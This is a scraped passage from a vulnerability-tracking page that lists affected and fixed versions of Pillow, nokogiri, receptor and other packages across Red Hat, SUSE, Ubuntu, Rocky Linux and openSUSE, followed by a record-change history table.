python3-solv-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
ruby-solv-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
python-pillowRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python-pillow-debugsourceRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python3.11-pillowRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python3.11-pillow-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python-pillowRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python-pillow-debugsourceRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python3.11-pillowRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python3.11-pillow-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el8pc | 0:12.3.0-1.el8pc |
python-pillowRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python-pillow-debugsourceRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillowRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillow-debuginfoRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python-pillowRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python-pillow-debugsourceRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillowRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillow-debuginfoRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
rubygem-faradayRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.10.6-1.el8sat | 0:1.10.6-1.el8sat |
rubygem-faradayRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.10.6-1.el8sat | 0:1.10.6-1.el8sat |
rubygem-faradayRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-faradayRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-nokogiriRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el8sat | 0:1.15.7-3.el8sat |
rubygem-nokogiri-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el8sat | 0:1.15.7-3.el8sat |
rubygem-nokogiri-debugsourceRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el8sat | 0:1.15.7-3.el8sat |
rubygem-nokogiriRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el8sat | 0:1.15.7-3.el8sat |
rubygem-nokogiri-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el8sat | 0:1.15.7-3.el8sat |
rubygem-nokogiri-debugsourceRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el8sat | 0:1.15.7-3.el8sat |
rubygem-nokogiriRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiriRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
openvox-agentRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:8.24.1-3.el9sat | 0:8.24.1-3.el9sat |
openvox-agentRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:8.24.1-3.el9sat | 0:8.24.1-3.el9sat |
openvox-serverRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
openvox-serverRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
rubygem-katelloRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:4.18.0.15-1.el9sat | 0:4.18.0.15-1.el9sat |
python3.12-pyjwt+cryptoRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.12-pyjwtRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.12-pyjwt+cryptoRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.12-pyjwtRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.12-pillowRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debuginfoRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debugsourceRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillowRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debuginfoRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debugsourceRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
rubygem-faradayRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-faradayRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-nokogiriRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite_capsule:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiriRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite:6.18::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
automation-eda-controllerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el8ap | 0:1.1.21-1.el8ap |
automation-eda-controller-baseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el8ap | 0:1.1.21-1.el8ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el8ap | 0:1.1.21-1.el8ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el8ap | 0:1.1.21-1.el8ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el8ap | 0:1.1.21-1.el8ap |
automation-eda-controllerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el9ap | 0:1.1.21-1.el9ap |
automation-eda-controller-baseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el9ap | 0:1.1.21-1.el9ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el9ap | 0:1.1.21-1.el9ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el9ap | 0:1.1.21-1.el9ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.1.21-1.el9ap | 0:1.1.21-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:2.5.10-7.el8ap | 0:2.5.10-7.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:3.14.1-2.el8ap | 0:3.14.1-2.el8ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:3.14.1-2.el9ap | 0:3.14.1-2.el9ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:2.5.10-7.el8ap | 0:2.5.10-7.el8ap |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:2.5.10-7.el8ap | 0:2.5.10-7.el8ap |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:2.5.10-7.el8ap | 0:2.5.10-7.el8ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el8ap | 0:1.6.7-1.el8ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
python3.12-daphneRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:4.2.2-1.el8ap | 0:4.2.2-1.el8ap |
python3.12-daphneRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:4.2.2-1.el9ap | 0:4.2.2-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:4.6.31-1.el8ap | 0:4.6.31-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:4.6.31-1.el9ap | 0:4.6.31-1.el9ap |
python3.12-pillowRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:12.3.0-1.el8ap | 0:12.3.0-1.el8ap |
python3.12-pillowRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:12.3.0-1.el9ap | 0:12.3.0-1.el9ap |
python3.12-pyasn1Red Hat:ansible_automation_platform:2.5::el8 From an advisory covering 17 CVEs |
before 0:0.6.4-1.el8ap | 0:0.6.4-1.el8ap |
python3.12-pyasn1Red Hat:ansible_automation_platform:2.5::el9 From an advisory covering 17 CVEs |
before 0:0.6.4-1.el9ap | 0:0.6.4-1.el9ap |
automation-eda-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.2.11-1.el9ap | 0:1.2.11-1.el9ap |
automation-eda-controller-baseRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.2.11-1.el9ap | 0:1.2.11-1.el9ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.2.11-1.el9ap | 0:1.2.11-1.el9ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.2.11-1.el9ap | 0:1.2.11-1.el9ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.2.11-1.el9ap | 0:1.2.11-1.el9ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:2.6.17-2.el9ap | 0:2.6.17-2.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:3.14.1-2.el9ap | 0:3.14.1-2.el9ap |
python3.12-aiohttp-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:3.14.1-2.el9ap | 0:3.14.1-2.el9ap |
python3.12-aiohttp-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:3.14.1-2.el9ap | 0:3.14.1-2.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el10ap | 0:1.6.7-1.el10ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el10ap | 0:1.6.7-1.el10ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el10ap | 0:1.6.7-1.el10ap |
receptorctlRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el10ap | 0:1.6.7-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
receptorctlRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:1.6.7-1.el9ap | 0:1.6.7-1.el9ap |
python3.12-daphneRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:4.2.2-1.el9ap | 0:4.2.2-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 17 CVEs |
before 0:4.7.15-2.el9ap | 0:4.7.15-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 17 CVEs |
before 0:4.7.15-2.el9ap | 0:4.7.15-2.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 17 CVEs |
before 0:4.7.15-2.el9ap | 0:4.7.15-2.el9ap |
python-pillowRocky Linux:8 From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
pillowRoot:PyPI |
before 11.1.0+aikido.9 | 11.1.0+aikido.911.2.1+aikido.49.5.0+aikido.99.5.0+aikido.1011.1.0+aikido.1010.3.0+aikido.1211.2.1+aikido.59.5.0+aikido.1112.2.0+aikido.59.3.0+aikido.1310.4.0+aikido.1112.1.0+aikido.1211.2.1+aikido.611.1.0+aikido.1110.3.0+aikido.1311.0.0+aikido.1011.2.1+aikido.79.3.0+aikido.1411.1.0+aikido.129.5.0+aikido.1212.2.0+aikido.610.4.0+aikido.129.3.0+aikido.1511.1.0+aikido.1312.1.0+aikido.1310.3.0+aikido.1411.0.0+aikido.119.3.0+aikido.1610.3.0+aikido.1510.4.0+aikido.139.3.0+aikido.179.5.0+aikido.1311.2.1+aikido.811.0.0+aikido.1211.1.0+aikido.1412.1.0+aikido.1412.2.0+aikido.710.3.0+aikido.1610.4.0+aikido.1411.1.0+aikido.1511.2.1+aikido.910.2.0+aikido.112.2.0+aikido.89.0.1+aikido.110.4.0+aikido.1512.1.0+aikido.159.0.1+aikido.210.3.0+aikido.178.0.1+aikido.111.0.0+aikido.139.5.0+aikido.148.1.2+aikido.18.0.1+aikido.210.4.0+aikido.1610.1.0+aikido.110.0.0+aikido.110.3.0+aikido.1810.2.0+aikido.210.3.0+aikido.1910.4.0+aikido.1710.3.0+aikido.208.2.0+aikido.19.4.0+aikido.19.0.0+aikido.19.0.0+aikido.211.0.0+aikido.147.0.0+aikido.27.0.0+aikido.312.2.0+aikido.99.5.0+aikido.159.5.0+aikido.169.5.0+aikido.179.5.0+aikido.189.5.0+aikido.1910.4.0+aikido.18 |
python-PillowSUSE:Linux Enterprise Server 16.0 From an advisory covering 5 CVEs |
before 11.3.0-160000.6.1 | 11.3.0-160000.6.1 |
python-PillowSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 5 CVEs |
before 11.3.0-160000.6.1 | 11.3.0-160000.6.1 |
python-PillowSUSE:Linux Enterprise Module for Package Hub 15 SP7 From an advisory covering 4 CVEs |
before 7.2.0-150300.3.27.1 | 7.2.0-150300.3.27.1 |
python-PillowSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
pillowUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 2.2.1-1ubuntu22.2.1-2ubuntu12.2.1-3ubuntu22.2.1-3ubuntu32.2.1-3ubuntu4 Show 12 moreShow less2.2.1-3ubuntu62.3.0-1ubuntu12.3.0-1ubuntu22.3.0-1ubuntu32.3.0-1ubuntu3.22.3.0-1ubuntu3.32.3.0-1ubuntu3.42.3.0-1ubuntu3.4+esm12.3.0-1ubuntu3.4+esm22.3.0-1ubuntu3.4+esm32.3.0-1ubuntu3.4+esm42.3.0-1ubuntu3.4+esm5 |
None known |
pillowUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 2.9.0-13.0.0-13.0.0-1build13.1.0-13.1.1-1 Show 9 moreShow less3.1.2-0ubuntu13.1.2-0ubuntu1.13.1.2-0ubuntu1.33.1.2-0ubuntu1.43.1.2-0ubuntu1.53.1.2-0ubuntu1.63.1.2-0ubuntu1.6+esm13.1.2-0ubuntu1.6+esm23.1.2-0ubuntu1.6+esm3 |
None known |
pillowUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 4.1.1-3build24.3.0-2ubuntu15.0.0-15.1.0-15.1.0-1ubuntu0.2 Show 8 moreShow less5.1.0-1ubuntu0.35.1.0-1ubuntu0.45.1.0-1ubuntu0.55.1.0-1ubuntu0.65.1.0-1ubuntu0.75.1.0-1ubuntu0.85.1.0-1ubuntu0.8+esm15.1.0-1ubuntu0.8+esm2 |
None known |
pillowUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1 Show 10 moreShow less7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.97.0.0-4ubuntu0.9+esm1 |
None known |
pillow-python2Ubuntu:Pro:20.04:LTS |
All versions, plus listed versions 6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2 |
None known |
pillowUbuntu:22.04:LTS |
before 9.0.1-1ubuntu0.6, plus listed versions 8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1 Show 4 moreShow less9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.5 |
9.0.1-1ubuntu0.6 |
pillowUbuntu:24.04:LTS |
before 10.2.0-1ubuntu1.4, plus listed versions 10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.3 |
10.2.0-1ubuntu1.4 |
pillowUbuntu:26.04:LTS |
before 12.1.1-2ubuntu1.4, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.3 |
12.1.1-2ubuntu1.4 |
pillowUbuntu:22.04:LTS From an advisory covering 11 CVEs |
before 9.0.1-1ubuntu0.6, plus listed versions 8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1 Show 4 moreShow less9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.5 |
9.0.1-1ubuntu0.6 |
pillowUbuntu:24.04:LTS From an advisory covering 11 CVEs |
before 10.2.0-1ubuntu1.4, plus listed versions 10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.3 |
10.2.0-1ubuntu1.4 |
pillowUbuntu:26.04:LTS From an advisory covering 11 CVEs |
before 12.1.1-2ubuntu1.4, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.3 |
12.1.1-2ubuntu1.4 |
python-PillowopenSUSE:Tumbleweed From an advisory covering 24 CVEs |
before 12.3.0-1.1 | 12.3.0-1.1 |
python-PillowopenSUSE:Leap 16.0 From an advisory covering 5 CVEs |
before 11.3.0-160000.6.1 | 11.3.0-160000.6.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | ||
| affected | OSV | |
| affected, aliases, references | OSV | |
| affected | OSV | |
| affected | OSV | |
| affected | OSV | |
| affected | OSV | |
| affected, facts | OSV | |
| affected | OSV | |
| affected | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
